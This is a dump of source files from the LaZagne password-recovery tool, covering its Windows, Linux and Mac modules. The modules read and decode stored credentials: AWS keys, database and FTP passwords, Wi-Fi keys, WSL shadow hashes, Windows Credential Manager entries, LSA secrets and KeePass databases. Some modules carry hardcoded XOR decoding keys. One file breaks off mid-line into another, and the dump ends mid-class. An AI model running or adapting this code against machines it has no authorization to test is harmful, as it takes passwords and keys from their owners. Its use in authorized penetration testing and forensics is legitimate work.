7 | - DPAPILAB : https://github.com/dfirfpi/dpapilab
8 | """
9 |
10 | from .eater import DataStruct
11 |
12 |
13 | class CredSystem(DataStruct):
14 | """
15 | This represents the DPAPI_SYSTEM token which is stored as an LSA secret.
16 |
17 | Sets 2 properties:
18 | self.machine
19 | self.user
20 | """
21 |
22 | def __init__(self, raw=None):
23 | self.revision = None
24 | self.machine = None
25 | self.user = None
26 | DataStruct.__init__(self, raw)
27 |
28 | def parse(self, data):
29 | """Parses the given data. May raise exceptions if incorrect data are
30 | given. You should not call this function yourself; DataStruct does
31 |
32 | data is a DataStruct object.
33 | Returns nothing.
34 |
35 | """
36 | self.revision = data.eat("L")
37 | self.machine = data.eat("20s")
38 | self.user = data.eat("20s")
39 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/databases/postgresql.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | import os
4 |
5 | from lazagne.config.constant import constant
6 | from lazagne.config.module_info import ModuleInfo
7 |
8 |
9 | class PostgreSQL(ModuleInfo):
10 | def __init__(self):
11 | ModuleInfo.__init__(self, name='postgresql', category='databases')
12 |
13 | def run(self):
14 | path = os.path.join(constant.profile['APPDATA'], u'postgresql', u'pgpass.conf')
15 | if os.path.exists(path):
16 | with open(path) as f:
17 | pwd_found = []
18 | for line in f.readlines():
19 | try:
20 | items = line.strip().split(':')
21 | pwd_found.append({
22 | 'Hostname': items[0],
23 | 'Port': items[1],
24 | 'DB': items[2],
25 | 'Username': items[3],
26 | 'Password': items[4]
27 | })
28 |
29 | except Exception:
30 | pass
31 |
32 | return pwd_found
33 |
--------------------------------------------------------------------------------
/Tools/Linux/lazagne/softwares/sysadmin/fstab.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 |
4 | import os
5 |
6 | from lazagne.config.module_info import ModuleInfo
7 |
8 |
9 | class Fstab(ModuleInfo):
10 | def __init__(self):
11 | ModuleInfo.__init__(self, 'fstab', 'sysadmin')
12 |
13 | def run(self):
14 | pwd_found = []
15 | path = '/etc/fstab'
16 | if os.path.exists(path):
17 | try:
18 | with open(path) as fstab:
19 | for line in fstab:
20 | if line.startswith('#'):
21 | continue
22 |
23 | filesystem, mount_point, _type, options, dump, _pass = line.strip().split()
24 | if 'password' in options:
25 | pwd_found.append({
26 | 'Filesystem': filesystem,
27 | 'Mount Point': mount_point,
28 | 'Type': _type,
29 | 'Password': options
30 | })
31 |
32 | except IOError as e:
33 | self.debug(e.strerror)
34 |
35 | return pwd_found
36 |
--------------------------------------------------------------------------------
/Tools/Mac/lazagne/config/module_info.py:
--------------------------------------------------------------------------------
1 | """
2 | name => Name of a class
3 | category => windows / browsers / etc
4 | options => dictionary
5 | - command
6 | - action
7 | - dest
8 | - help
9 |
10 | ex: ('-s', action='store_true', dest='skype', help='skype')
11 | options['command'] = '-s'
12 | options['action'] = 'store_true'
13 | options['dest'] = 'skype'
14 | options['help'] = 'skype'
15 | """
16 |
17 | from lazagne.config.write_output import print_debug
18 |
19 |
20 | class ModuleInfo(object):
21 | def __init__(self, name, category, sub_options=[]):
22 | self.name = name
23 | self.category = category
24 | self.options = {
25 | 'command': '-{name}'.format(name=self.name),
26 | 'action': 'store_true',
27 | 'dest': self.name,
28 | 'help': '{name} passwords'.format(name=self.name)
29 | }
30 | self.suboptions = sub_options
31 |
32 | def error(self, message):
33 | print_debug('ERROR', message)
34 |
35 | def info(self, message):
36 | print_debug('INFO', message)
37 |
38 | def debug(self, message):
39 | print_debug('DEBUG', message)
40 |
41 | def warning(self, message):
42 | print_debug('WARNING', message)
--------------------------------------------------------------------------------
/Tools/Linux/lazagne/config/lib/memorpy/__init__.py:
--------------------------------------------------------------------------------
1 | # Author: Nicolas VERDIER
2 | # This file is part of memorpy.
3 | #
4 | # memorpy is free software: you can redistribute it and/or modify
5 | # it under the terms of the GNU General Public License as published by
6 | # the Free Software Foundation, either version 3 of the License, or
7 | # (at your option) any later version.
8 | #
9 | # memorpy is distributed in the hope that it will be useful,
10 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
11 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12 | # GNU General Public License for more details.
13 | #
14 | # You should have received a copy of the GNU General Public License
15 | # along with memorpy. If not, see .
16 |
17 |
18 | import logging
19 | logger=logging.getLogger("memorpy")
20 | logger.setLevel(logging.WARNING)
21 | ch = logging.StreamHandler()
22 | ch.setLevel(logging.WARNING)
23 | logger.addHandler(ch)
24 |
25 | import sys
26 | from .MemWorker import *
27 | from .Locator import *
28 | from .Address import *
29 | from .Process import *
30 | from .utils import *
31 | #if sys.platform=="win32":
32 | # from wintools import * #not a necessary dependency, just used for debugging
33 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/config/lib/memorpy/__init__.py:
--------------------------------------------------------------------------------
1 | # Author: Nicolas VERDIER
2 | # This file is part of memorpy.
3 | #
4 | # memorpy is free software: you can redistribute it and/or modify
5 | # it under the terms of the GNU General Public License as published by
6 | # the Free Software Foundation, either version 3 of the License, or
7 | # (at your option) any later version.
8 | #
9 | # memorpy is distributed in the hope that it will be useful,
10 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
11 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12 | # GNU General Public License for more details.
13 | #
14 | # You should have received a copy of the GNU General Public License
15 | # along with memorpy. If not, see .
16 |
17 |
18 | import logging
19 | logger=logging.getLogger("memorpy")
20 | logger.setLevel(logging.WARNING)
21 | ch = logging.StreamHandler()
22 | ch.setLevel(logging.WARNING)
23 | logger.addHandler(ch)
24 |
25 | import sys
26 | from .MemWorker import *
27 | from .Locator import *
28 | from .Address import *
29 | from .Process import *
30 | from .utils import *
31 | #if sys.platform=="win32":
32 | # from wintools import * #not a necessary dependency, just used for debugging
33 |
--------------------------------------------------------------------------------
/Tools/Linux/lazagne/config/module_info.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 |
4 | """
5 | name => Name of a class
6 | category => windows / browsers / etc
7 | options => dictionary
8 | - command
9 | - action
10 | - dest
11 | - help
12 |
13 | ex: ('-s', action='store_true', dest='skype', help='skype')
14 | - options['command'] = '-s'
15 | - options['action'] = 'store_true'
16 | - options['dest'] = 'skype'
17 | - options['help'] = 'skype'
18 | """
19 |
20 | from lazagne.config.write_output import print_debug
21 |
22 | class ModuleInfo():
23 | def __init__(self, name, category, options={}, suboptions=[]):
24 | self.name = name
25 | self.category = category
26 | self.options = {
27 | 'command': '-{name}'.format(name=self.name),
28 | 'action': 'store_true',
29 | 'dest': self.name,
30 | 'help': '{name} passwords'.format(name=self.name)
31 | }
32 | self.suboptions = suboptions
33 |
34 | def error(self, message):
35 | print_debug('ERROR', message)
36 |
37 | def info(self, message):
38 | print_debug('INFO', message)
39 |
40 | def debug(self, message):
41 | print_debug('DEBUG', message)
42 |
43 | def warning(self, message):
44 | print_debug('WARNING', message)
--------------------------------------------------------------------------------
/Tools/Linux/lazagne/softwares/databases/squirrel.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 |
4 | import os
5 |
6 | from xml.etree.cElementTree import ElementTree
7 |
8 | from lazagne.config import homes
9 | from lazagne.config.module_info import ModuleInfo
10 |
11 |
12 | class Squirrel(ModuleInfo):
13 | def __init__(self):
14 | ModuleInfo.__init__(self, 'squirrel', 'databases')
15 |
16 | def get_paths(self):
17 | return homes.get(file=os.path.join('.squirrel-sql', 'SQLAliases23.xml'))
18 |
19 | def parse_xml(self, path):
20 | pwd_found = []
21 | if os.path.exists(path):
22 | tree = ElementTree(file=path)
23 | elements = {'name': 'Name', 'url': 'URL', 'userName': 'Login', 'password': 'Password'}
24 | for elem in tree.iter('Bean'):
25 | values = {}
26 | for e in elem:
27 | if e.tag in elements:
28 | values[elements[e.tag]] = e.text
29 | if values:
30 | pwd_found.append(values)
31 |
32 | return pwd_found
33 |
34 | def run(self):
35 | all_passwords = []
36 | for path in self.get_paths():
37 | all_passwords += self.parse_xml(path)
38 |
39 | return all_passwords
40 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/memory/keepass.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # Thanks to the awesome work done by harmjoy
3 | # For more information http://www.harmj0y.net/blog/redteaming/keethief-a-case-study-in-attacking-keepass-part-2/
4 |
5 | # Thanks for the great work of libkeepass (used to decrypt keepass file)
6 | # https://github.com/phpwutz/libkeepass
7 |
8 | import traceback
9 |
10 | from . import libkeepass
11 | from lazagne.config.constant import constant
12 | from lazagne.config.module_info import ModuleInfo
13 |
14 |
15 | class Keepass(ModuleInfo):
16 | def __init__(self):
17 | ModuleInfo.__init__(self, 'keepass', 'memory')
18 |
19 | def run(self):
20 | # password found on the memory dump class
21 | if constant.keepass:
22 | res = []
23 | for db in constant.keepass:
24 | try:
25 | with libkeepass.open(db.values()[0][u'Database'],
26 | password=db.get(u"KcpPassword", {}).get(u'Password'),
27 | keyfile=db.get(u"KcpKeyFile", {}).get(u'KeyFilePath')) as kdb:
28 | res.extend(kdb.to_dic())
29 | except Exception:
30 | self.debug(traceback.format_exc())
31 | return res
32 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/windows/lsa_secrets.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | import struct
3 |
4 | from .creddump7.win32.lsasecrets import get_file_secrets
5 | from lazagne.config.module_info import ModuleInfo
6 | from lazagne.config.winstructure import get_os_version
7 | from lazagne.config.constant import constant
8 |
9 |
10 | class LSASecrets(ModuleInfo):
11 | def __init__(self):
12 | ModuleInfo.__init__(self, 'lsa_secrets', 'windows', system_module=True)
13 |
14 | def run(self):
15 |
16 | # DPAPI structure could compute lsa secrets as well, so do not do it again
17 | if constant.lsa_secrets:
18 | return ['__LSASecrets__', constant.lsa_secrets]
19 |
20 | is_vista_or_higher = False
21 | if float(get_os_version()) >= 6.0:
22 | is_vista_or_higher = True
23 |
24 | # Get LSA Secrets
25 | secrets = get_file_secrets(constant.hives['system'], constant.hives['security'], is_vista_or_higher)
26 | if secrets:
27 | # Clear DPAPI master key
28 | clear = secrets[b'DPAPI_SYSTEM']
29 | size = struct.unpack_from(".
16 |
17 | from ctypes import windll
18 | import time
19 |
20 | def start_winforeground_daemon():
21 | import threading
22 | t=threading.Thread(target=window_foreground_loop)
23 | t.daemon=True
24 | t.start()
25 |
26 | def window_foreground_loop(timeout=20):
27 | """ set the windows python console to the foreground (for example when you are working with a fullscreen program) """
28 | hwnd = windll.kernel32.GetConsoleWindow()
29 | HWND_TOPMOST = -1
30 | SWP_NOMOVE = 2
31 | SWP_NOSIZE = 1
32 | while True:
33 | windll.user32.SetWindowPos(hwnd, HWND_TOPMOST, 0,0,0,0, SWP_NOMOVE | SWP_NOSIZE)
34 | time.sleep(timeout)
35 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/config/lib/memorpy/wintools.py:
--------------------------------------------------------------------------------
1 | # Author: Nicolas VERDIER
2 | # This file is part of memorpy.
3 | #
4 | # memorpy is free software: you can redistribute it and/or modify
5 | # it under the terms of the GNU General Public License as published by
6 | # the Free Software Foundation, either version 3 of the License, or
7 | # (at your option) any later version.
8 | #
9 | # memorpy is distributed in the hope that it will be useful,
10 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
11 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12 | # GNU General Public License for more details.
13 | #
14 | # You should have received a copy of the GNU General Public License
15 | # along with memorpy. If not, see .
16 |
17 | from ctypes import windll
18 | import time
19 |
20 | def start_winforeground_daemon():
21 | import threading
22 | t=threading.Thread(target=window_foreground_loop)
23 | t.daemon=True
24 | t.start()
25 |
26 | def window_foreground_loop(timeout=20):
27 | """ set the windows python console to the foreground (for example when you are working with a fullscreen program) """
28 | hwnd = windll.kernel32.GetConsoleWindow()
29 | HWND_TOPMOST = -1
30 | SWP_NOMOVE = 2
31 | SWP_NOSIZE = 1
32 | while True:
33 | windll.user32.SetWindowPos(hwnd, HWND_TOPMOST, 0,0,0,0, SWP_NOMOVE | SWP_NOSIZE)
34 | time.sleep(timeout)
35 |
--------------------------------------------------------------------------------
/Tools/Linux/lazagne/softwares/wifi/wifi.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 |
4 | import os
5 |
6 | from lazagne.config.module_info import ModuleInfo
7 |
8 |
9 | try:
10 | from ConfigParser import RawConfigParser # Python 2.7
11 | except ImportError:
12 | from configparser import RawConfigParser # Python 3
13 |
14 | from collections import OrderedDict
15 |
16 |
17 | class Wifi(ModuleInfo):
18 | def __init__(self):
19 | ModuleInfo.__init__(self, 'wifi', 'wifi')
20 |
21 | def run(self):
22 | pwd_found = []
23 | directory = u'/etc/NetworkManager/system-connections'
24 |
25 | if os.path.exists(directory):
26 | if os.getuid() == 0:
27 | wireless_ssid = [f for f in os.listdir(directory) if os.path.isfile(os.path.join(directory, f))]
28 |
29 | for w in wireless_ssid:
30 | cp = RawConfigParser()
31 | cp.read(os.path.join(directory, w))
32 | values = OrderedDict()
33 | try:
34 | values['SSID'] = cp.get('wifi', 'ssid')
35 | values['Password'] = cp.get('wifi-security', 'psk')
36 | pwd_found.append(values)
37 | except Exception:
38 | pass
39 |
40 | else:
41 | self.info('You need sudo privileges')
42 |
43 | return pwd_found
44 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/games/kalypsomedia.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | import base64
3 | import os
4 |
5 | from lazagne.config.constant import constant
6 | from lazagne.config.module_info import ModuleInfo
7 | from lazagne.config.winstructure import char_to_int, chr_or_byte
8 |
9 | try:
10 | from ConfigParser import ConfigParser # Python 2.7
11 | except ImportError:
12 | from configparser import ConfigParser # Python 3
13 |
14 |
15 | class KalypsoMedia(ModuleInfo):
16 | def __init__(self):
17 | ModuleInfo.__init__(self, 'kalypsomedia', 'games')
18 |
19 | def xorstring(self, s, k):
20 | """
21 | xors the two strings
22 | """
23 | return b''.join(chr_or_byte(char_to_int(x) ^ char_to_int(y)) for x, y in zip(s, k))
24 |
25 | def run(self):
26 | creds = []
27 | key = b'lwSDFSG34WE8znDSmvtwGSDF438nvtzVnt4IUv89'
28 | inifile = os.path.join(constant.profile['APPDATA'], u'Kalypso Media\\Launcher\\launcher.ini')
29 |
30 | # The actual user details are stored in *.userdata files
31 | if os.path.exists(inifile):
32 | config = ConfigParser()
33 | config.read(inifile)
34 |
35 | # get the encoded password
36 | cookedpw = base64.b64decode(config.get('styx user', 'password'))
37 |
38 | creds.append({
39 | 'Login': config.get('styx user', 'login'),
40 | 'Password': self.xorstring(cookedpw, key)
41 | })
42 | return creds
43 |
--------------------------------------------------------------------------------
/Tools/Linux/lazagne/softwares/sysadmin/aws.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 |
4 | import os
5 |
6 | from lazagne.config.module_info import ModuleInfo
7 | from lazagne.config import homes
8 |
9 | try:
10 | from ConfigParser import ConfigParser # Python 2.7
11 | except ImportError:
12 | from configparser import ConfigParser # Python 3
13 |
14 |
15 | class Aws(ModuleInfo):
16 | def __init__(self):
17 | ModuleInfo.__init__(self, 'aws', 'sysadmin')
18 |
19 | def get_paths(self):
20 | return homes.get(file=os.path.join('.aws', 'credentials'))
21 |
22 | def get_creds(self, path):
23 | try:
24 | parser = ConfigParser()
25 | parser.read(path)
26 | except Exception:
27 | return
28 |
29 | for section in parser.sections():
30 | try:
31 | key = parser.get(section, 'aws_access_key_id')
32 | secret = parser.get(section, 'aws_secret_access_key')
33 | yield section, key, secret
34 | except Exception:
35 | continue
36 |
37 | def run(self):
38 | all_passwords = []
39 | for path in self.get_paths():
40 | for section, key, secret in self.get_creds(path):
41 | all_passwords.append({
42 | 'ID': key,
43 | 'KEY': secret,
44 | 'Service': 'AWS',
45 | 'Name': section
46 | })
47 |
48 | return all_passwords
49 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/games/roguestale.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | import os
3 | import re
4 | from xml.etree.cElementTree import ElementTree
5 |
6 | from lazagne.config.constant import constant
7 | from lazagne.config.module_info import ModuleInfo
8 |
9 |
10 | class RoguesTale(ModuleInfo):
11 | def __init__(self):
12 | ModuleInfo.__init__(self, 'roguestale', 'games')
13 |
14 | def run(self):
15 | creds = []
16 | directory = constant.profile['USERPROFILE'] + u'\\Documents\\Rogue\'s Tale\\users'
17 |
18 | # The actual user details are stored in *.userdata files
19 | if os.path.exists(directory):
20 | files = os.listdir(directory)
21 |
22 | for f in files:
23 | if re.match('.*\.userdata', f):
24 | # We've found a user file, now extract the hash and username
25 |
26 | xmlfile = directory + '\\' + f
27 | tree = ElementTree(file=xmlfile)
28 | root = tree.getroot()
29 |
30 | # Double check to make sure that the file is valid
31 | if root.tag != 'user':
32 | self.warning(u'Profile %s does not appear to be valid' % f)
33 | continue
34 |
35 | # Now save it to credentials
36 | creds.append({
37 | 'Login': root.attrib['username'],
38 | 'Hash': root.attrib['password']
39 | })
40 |
41 | return creds
42 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/windows/credman.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | from lazagne.config.module_info import ModuleInfo
3 | from lazagne.config.winstructure import *
4 |
5 |
6 | class Credman(ModuleInfo):
7 | def __init__(self):
8 | ModuleInfo.__init__(self, 'credman', 'windows', only_from_current_user=True)
9 |
10 | def run(self):
11 | pwd_found = []
12 | # FOR XP
13 | # - password are encrypted with specific salt depending on its Type
14 | # entropy = 'abe2869f-9b47-4cd9-a358-c22904dba7f7\\0' # FOR CRED_TYPE_GENERIC
15 | # entropy = '82BD0E67-9FEA-4748-8672-D5EFE5B779B0\\0' # FOR CRED_TYPE_DOMAIN_VISIBLE_PASSWORD
16 | # CryptUnprotectData(byref(blobIn),None,byref(blobEntropy),None,None,CRYPTPROTECT_UI_FORBIDDEN,byref(blobOut))
17 |
18 | creds = POINTER(PCREDENTIAL)()
19 | count = c_ulong()
20 |
21 | if CredEnumerate(None, 0, byref(count), byref(creds)) == 1:
22 | for i in range(count.value):
23 | c = creds[i].contents
24 | if c.Type == CRED_TYPE_GENERIC or c.Type == CRED_TYPE_DOMAIN_VISIBLE_PASSWORD:
25 | # Remove password too long
26 | if c.CredentialBlobSize.real < 200:
27 | pwd_found.append({
28 | 'URL': c.TargetName,
29 | 'Login': c.UserName,
30 | 'Password': c.CredentialBlob[:c.CredentialBlobSize.real].replace(b"\x00", b"")
31 | })
32 |
33 | CredFree(creds)
34 | return pwd_found
35 |
--------------------------------------------------------------------------------
/Tools/Mac/lazagne/softwares/system/chainbreaker_module/pbkdf2.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | # A simple implementation of pbkdf2 using stock python modules. See RFC2898
4 | # for details. Basically, it derives a key from a password and salt.
5 |
6 | # (c) 2004 Matt Johnston
7 | # This code may be freely used and modified for any purpose.
8 |
9 | import sha
10 | import hmac
11 |
12 | from struct import pack
13 |
14 | BLOCKLEN = 20
15 |
16 |
17 | # this is what you want to call.
18 | def pbkdf2(password, salt, itercount, keylen, hashfn=sha):
19 | # l - number of output blocks to produce
20 | l = keylen / BLOCKLEN
21 | if keylen % BLOCKLEN != 0:
22 | l += 1
23 |
24 | h = hmac.new(password, None, hashfn)
25 |
26 | T = ""
27 | for i in range(1, l + 1):
28 | T += pbkdf2_F(h, salt, itercount, i)
29 |
30 | return T[: -(BLOCKLEN - keylen % BLOCKLEN)]
31 |
32 |
33 | def xorstr(a, b):
34 | if len(a) != len(b):
35 | raise "xorstr(): lengths differ"
36 |
37 | ret = ''
38 | for i in range(len(a)):
39 | ret += chr(ord(a[i]) ^ ord(b[i]))
40 |
41 | return ret
42 |
43 |
44 | def prf(h, data):
45 | hm = h.copy()
46 | hm.update(data)
47 | return hm.digest()
48 |
49 |
50 | # Helper as per the spec. h is a hmac which has been created seeded with the
51 | # password, it will be copy()ed and not modified.
52 | def pbkdf2_F(h, salt, itercount, blocknum):
53 | U = prf(h, salt + pack('>i', blocknum))
54 | T = U
55 |
56 | for i in range(2, itercount + 1):
57 | U = prf(h, U)
58 | T = xorstr(T, U)
59 |
60 | return T
61 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/config/module_info.py:
--------------------------------------------------------------------------------
1 | """
2 | name => Name of a class
3 | category => windows / browsers / etc
4 | options => dictionary
5 | - command
6 | - action
7 | - dest
8 | - help
9 |
10 | ex: ('-s', action='store_true', dest='skype', help='skype')
11 | - options['command'] = '-s'
12 | - options['action'] = 'store_true'
13 | - options['dest'] = 'skype'
14 | - options['help'] = 'skype'
15 | """
16 |
17 | from lazagne.config.write_output import print_debug
18 |
19 |
20 | class ModuleInfo(object):
21 |
22 | def __init__(self, name, category, options={}, suboptions=[], registry_used=False, winapi_used=False,
23 | system_module=False, dpapi_used=False, only_from_current_user=False):
24 | self.name = name
25 | self.category = category
26 | self.options = {
27 | 'command': '-{name}'.format(name=self.name),
28 | 'action': 'store_true',
29 | 'dest': self.name,
30 | 'help': '{name} passwords'.format(name=self.name)
31 | }
32 | self.suboptions = suboptions
33 | self.registry_used = registry_used
34 | self.system_module = system_module
35 | self.winapi_used = winapi_used
36 | self.dpapi_used = dpapi_used
37 | self.only_from_current_user = only_from_current_user
38 |
39 | def error(self, message):
40 | print_debug('ERROR', message)
41 |
42 | def info(self, message):
43 | print_debug('INFO', message)
44 |
45 | def debug(self, message):
46 | print_debug('DEBUG', message)
47 |
48 | def warning(self, message):
49 | print_debug('WARNING', message)
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/sysadmin/filezillaserver.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | from xml.etree.cElementTree import ElementTree
3 |
4 | from lazagne.config.module_info import ModuleInfo
5 | from lazagne.config.constant import constant
6 |
7 | import os
8 |
9 |
10 | class FilezillaServer(ModuleInfo):
11 | def __init__(self):
12 | ModuleInfo.__init__(self, 'filezillaserver', 'sysadmin')
13 |
14 | def run(self):
15 | path = os.path.join(constant.profile['APPDATA'], u'FileZilla Server')
16 | if os.path.exists(path):
17 | pwd_found = []
18 | file = u'FileZilla Server Interface.xml'
19 |
20 | xml_file = os.path.join(path, file)
21 |
22 | if os.path.exists(xml_file):
23 | tree = ElementTree(file=xml_file)
24 | root = tree.getroot()
25 | host = port = password = None
26 |
27 | for item in root.iter("Item"):
28 | if item.attrib['name'] == 'Last Server Address':
29 | host = item.text
30 | elif item.attrib['name'] == 'Last Server Port':
31 | port = item.text
32 | elif item.attrib['name'] == 'Last Server Password':
33 | password = item.text
34 | # if all((host, port, login)) does not work
35 | if host is not None and port is not None and password is not None:
36 | pwd_found = [{
37 | 'Host': host,
38 | 'Port': port,
39 | 'Password': password,
40 | }]
41 |
42 | return pwd_found
43 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/sysadmin/wsl.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | from lazagne.config.module_info import ModuleInfo
4 | from lazagne.config.constant import constant
5 |
6 | import os
7 |
8 |
9 | class Wsl(ModuleInfo):
10 | def __init__(self):
11 | ModuleInfo.__init__(self, 'wsl', 'sysadmin')
12 |
13 | def run(self):
14 | pwd_found = []
15 | shadow_files_list = []
16 |
17 | # Old WSL PATH
18 | old_path = os.path.join(constant.profile['LOCALAPPDATA'], u'lxss\\rootfs\\etc\\shadow')
19 |
20 | if os.path.exists(old_path):
21 | shadow_files_list.append(old_path)
22 |
23 | # New WSL PATH need to look into Package folder
24 | new_path = os.path.join(constant.profile['LOCALAPPDATA'], u'Packages\\')
25 | if os.path.exists(new_path):
26 | for root, dirs, files in os.walk(new_path):
27 | for file in files:
28 | if file == "shadow":
29 | shadow_files_list.append(os.path.join(root, file))
30 |
31 | # Extract the hashes
32 | for shadow in shadow_files_list:
33 | with open(shadow, 'r') as shadow_file:
34 | for line in shadow_file.readlines():
35 | user_hash = line.replace('\n', '')
36 | line = user_hash.split(':')
37 |
38 | # Check if a password is defined
39 | if not line[1] in ['x', '*', '!']:
40 | pwd_found.append({
41 | 'Hash': ':'.join(user_hash.split(':')[1:]),
42 | 'Login': user_hash.split(':')[0].replace('\n', '')
43 | })
44 | return pwd_found
45 |
--------------------------------------------------------------------------------
/Tools/Linux/lazagne/softwares/wifi/wpa_supplicant.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 |
4 | #######################
5 | #
6 | # By rpesche
7 | #
8 | #######################
9 |
10 | import re
11 | import os
12 |
13 | from lazagne.config.module_info import ModuleInfo
14 |
15 |
16 | class Wpa_supplicant(ModuleInfo):
17 | def __init__(self):
18 | ModuleInfo.__init__(self, 'wpa_supplicant', 'wifi')
19 |
20 | def parse_file_network(self, fd):
21 | password = None
22 | ssid = None
23 |
24 | for line in fd:
25 | if re.match('^[ \t]*ssid=', line):
26 | ssid = (line.split("\"")[1])
27 | if re.match('^[ \t]*psk=', line):
28 | password = line.split("\"")[1]
29 | if re.match('^[ \t]*password=', line):
30 | password = line.split("\"")[1]
31 | if re.match('^[ \t]*}', line):
32 | return (ssid, password)
33 |
34 | def run(self):
35 | pwd_found = []
36 | wifi_path = u'/etc/wpa_supplicant/wpa_supplicant.conf'
37 |
38 | if os.path.exists(wifi_path):
39 | # Check root access
40 | if os.getuid() == 0:
41 | with open(wifi_path) as fd:
42 | for line in fd:
43 | if 'network=' in line:
44 | (ssid, password) = self.parse_file_network(fd)
45 | if ssid and password:
46 | pwd_found.append({
47 | 'SSID': ssid,
48 | 'Password': password,
49 | })
50 | else:
51 | self.info('You need sudo privileges')
52 |
53 |
54 | return pwd_found
55 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/config/crypto/rc4.py:
--------------------------------------------------------------------------------
1 | # Thanks to g2jun for his RC4-Python project
2 | # Code from https://github.com/g2jun/RC4-Python
3 |
4 | from lazagne.config.winstructure import char_to_int, chr_or_byte
5 |
6 |
7 | class RC4(object):
8 |
9 | def __init__(self, key):
10 | self.key_bytes = self.text_to_bytes(key)
11 |
12 | def text_to_bytes(self, text):
13 | byte_list = []
14 |
15 | # on Windows, default coding for Chinese is GBK
16 | # s = s.decode('gbk').encode('utf-8')
17 | for byte in text:
18 | byte_list.append(char_to_int(byte))
19 |
20 | return byte_list
21 |
22 | def bytes_to_text(self, byte_list):
23 | s = b''
24 | for byte in byte_list:
25 | s += chr_or_byte(byte)
26 | return s
27 |
28 | def encrypt(self, data):
29 | plain_bytes = self.text_to_bytes(data)
30 | keystream_bytes, cipher_bytes = self.crypt(plain_bytes, self.key_bytes)
31 | return self.bytes_to_text(cipher_bytes)
32 |
33 | def crypt(self, plain_bytes, key_bytes):
34 |
35 | keystream_list = []
36 | cipher_list = []
37 |
38 | key_len = len(key_bytes)
39 | plain_len = len(plain_bytes)
40 | S = list(range(256))
41 |
42 | j = 0
43 | for i in range(256):
44 | j = (j + S[i] + key_bytes[i % key_len]) % 256
45 | S[i], S[j] = S[j], S[i]
46 |
47 | i = 0
48 | j = 0
49 | for m in range(plain_len):
50 | i = (i + 1) % 256
51 | j = (j + S[i]) % 256
52 | S[i], S[j] = S[j], S[i]
53 | k = S[(S[i] + S[j]) % 256]
54 | keystream_list.append(k)
55 | cipher_list.append(k ^ plain_bytes[m])
56 |
57 | return keystream_list, cipher_list
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/sysadmin/ftpnavigator.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | import struct
3 |
4 | from lazagne.config.module_info import ModuleInfo
5 | from lazagne.config.constant import constant
6 |
7 | import os
8 |
9 |
10 | class FtpNavigator(ModuleInfo):
11 | def __init__(self):
12 | ModuleInfo.__init__(self, 'ftpnavigator', 'sysadmin', system_module=True)
13 |
14 | def decode(self, encode_password):
15 | password = ''
16 | for p in encode_password:
17 | password += chr(struct.unpack('B', p)[0] ^ 0x19)
18 | return password
19 |
20 | def run(self):
21 | path = os.path.join(constant.profile['HOMEDRIVE'], u'\\FTP Navigator', u'Ftplist.txt')
22 | elements = {'Name': 'Name', 'Server': 'Host', 'Port': 'Port', 'User': 'Login', 'Password': 'Password'}
23 | if os.path.exists(path):
24 | pwd_found = []
25 | with open(path, 'r') as f:
26 | for ff in f:
27 | values = {}
28 | info = ff.split(';')
29 | for i in info:
30 | i = i.split('=')
31 | for e in elements:
32 | if i[0] == e:
33 | if i[0] == "Password" and i[1] != '1' and i[1] != '0':
34 | values['Password'] = self.decode(i[1])
35 | else:
36 | values[elements[i[0]]] = i[1]
37 |
38 | # used to save the password if it is an anonymous authentication
39 | if values['Login'] == 'anonymous' and 'Password' not in values:
40 | values['Password'] = 'anonymous'
41 |
42 | pwd_found.append(values)
43 |
44 | return pwd_found
45 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/windows/autologon.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | try:
3 | import _winreg as winreg
4 | except ImportError:
5 | import winreg
6 |
7 | from lazagne.config.module_info import ModuleInfo
8 | from lazagne.config.winstructure import *
9 |
10 | # Password are stored in cleartext on old system (< 2008 R2 and < Win7)
11 | # If enabled on recent system, the password should be visible on the lsa secrets dump (check lsa module output)
12 |
13 |
14 | class Autologon(ModuleInfo):
15 | def __init__(self):
